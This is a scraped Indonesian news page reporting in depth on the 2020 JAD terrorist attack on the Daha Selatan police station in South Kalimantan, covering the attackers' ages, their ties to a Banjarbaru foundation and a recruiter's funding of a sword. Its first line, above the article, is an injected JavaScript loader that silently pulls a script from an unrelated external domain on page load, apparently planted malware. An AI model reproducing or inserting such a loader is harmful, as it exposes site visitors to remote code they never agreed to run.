(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

INDEPTH. Peran Si Juru Masak di Sebuah Yayasan di Banjarbaru Sebelum Serangan Dini Hari!


KANALKALIMANTAN.COM, BANJARBARU– Aksi terorisme di Mapolsek Daha Selatan, Hulu Sungai Selatan (HSS) dikendalikan kelompok dalam jumlah kecil. Mereka merupakan sel terpisah, yang dalam istilah terorisme disebut sebagai ‘lone wolf’. Ini pula yang dilakukan oleh kelompok Abdurrahman (AR), eksekutor aksi penyerangan Mapolsek pada Senin (1/6/2020) lalu.

Pengamat terorisme, Al Chaidar mengatakan, salah satu ciri dari teroris Jamaah Ansharut Daulah (JAD) adalah bergerak sendiri. Selain itu, pola serangan JAD cenderung acak. Serangan-serangan mereka, selain masih berskala kecil, dampaknya juga kurang terukur dan lebih cenderung menyasar publikasi sebagai efeknya.

Begitu pula dengan serangan yang menargetan Mapolsek Daha Selatan, diduga kuat hanya karena AR merupakan warga setempat. Sehingga yang penting adalah eksistensi mereka sebagai gerakan radikal untuk menunjukkan diri.

Menurut Al Chaidar, kelompok yang berafiliasi dengan Islamic State in Iraq and Syria (ISIS) itu terus ingin menunjukkan eksistensinya. “Jumlah anggota JAD sudah sangat banyak di seluruh provinsi. Maka aksi-aksi teror yang terjadi di daerah-daerah, jangan sampai disepelekan atau dianggap sebagai hal yang remeh,” ujar Al-Chaidar.

Secara umum anggota Jamaah Ansharut Daulah tersebut banyak yang berusia produktif. Begitu pula dengan anggota JAD Kalsel ini. Dimana AR diketahui masih berusia 19, TA (24), dan AS (33). Begitu juga rekan mereka MZ, AN, dan MR, yang masih berusia di bawah 40 tahun.

Mereka merupakan anak-anak muda relatif mudah untuk dicekoki paham-paham berkaitan dengan radikalisme. Sebagaimana yang didapat dari seseorang almuni pesantren di Jawa Barat yang disebut sebelumnya terkait dengan jaringan Aman Abdurrahman. (Baca: INDEPTH. Membongkar Jaringan JAD di Kalsel, Organisasi di Balik Serangan Mapolsek Daha Selatan!)

Terkait aksi JAD Kalsel ini, hasil penelusuran Kanalkalimantan.com menemukan fakta menarik. Dimana selain memiliki hubungan pertemanan, teroris penyerangan Mapolsek Daha Selatan ini pernah tinggal di satu lokasi di sebuah yayasan pendidikan di Banjarbaru.

Dua rekan AR—yang tewas dalam penyerangan, yakni TA dan MZ sempat tergabung di salah satu yayasan pendidikan di Kota Banjarbaru. Bahkan, AR juga pernah menuntut ilmu di yayasan pendidikan ini.

Faktanya, AR dipungut oleh yayasan pendidikan di Banjarbaru tersebut karena sebelumnya tidak memiliki perkerjaan dan sudah putus sekolah di kampung halamannya, di Hulu Sungai Selatan (HSS). Hingga akhirya pada tahun 2018, AR kabur dari yayasan tersebut karena menolak aturan yang tidak memperbolehkan berambut gondrong. AR pun akhirnya kembali ke kampung halaman.

Sementara, rekannya MZ dan TA masih berada di yayasan tersebut. Sebagaimana disebutkan sebelumnya TA ini memiliki peran penting. Ia merupakan salah satu otak penyerangan selain AS sebagai perancang aksi amaliyah. TA lah yang membait mereka sebagai anggota JAD Kalsel.

Informasi menyebutkan, TA merupakan seorang juru masak di yayasan tersebut. “Namun ia mengajukan permohonan diri keluar dari yayasan tersebut, sebelum terjadinya aksi teror di Mapolsek Daha Selatan,” kata sumber yang enggan disebut namanya.

Sebelumnya, keterangan yang disampaikan Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Awi Setiyono, mengatakan, sokongan untuk menjalankan aksi juga diberikan oleh TA, terduga teroris yang membaiat AR, dan empat teman lainnya yakni MZ, AR, AS, AN, dan MR menjadi bagian JAD. “Tersangka TA memberi uang untuk membuat pedang yang digunakan dalam aksi teror.Ia memberikan uang Rp 500.000 untuk pembuatan pedang samurai yang dipakai pelaku menyerang Mapolsek Daha Selatan,” terang Brigjen Awi.

Bahkan sebelumnya, antara pelaku AR dengan TA dan rekan lainnya AS, sempat berkomunikasi dengan temu untuk merancang aksi. Sebab diketahui, ide rencana aksi teror kepada tim amaliyah justru berasal dari AS, yang sebelumnya diamankan Densus 88 di Tanah Bumbu. “(AS) yang berperan memberikan ide kepada tim amaliyah untuk melaksanakan aksi penyerangan dengan target anggota polisi dan kantor polisi di Mapolsek Daha Selatan,” katanya. (Kanalkalimantan.com/tim)

Reporter : Tim
Editor : Chell

Desy Arfianty

Recent Posts

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

4 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

4 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

5 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

9 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

9 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

10 jam ago

This website uses cookies.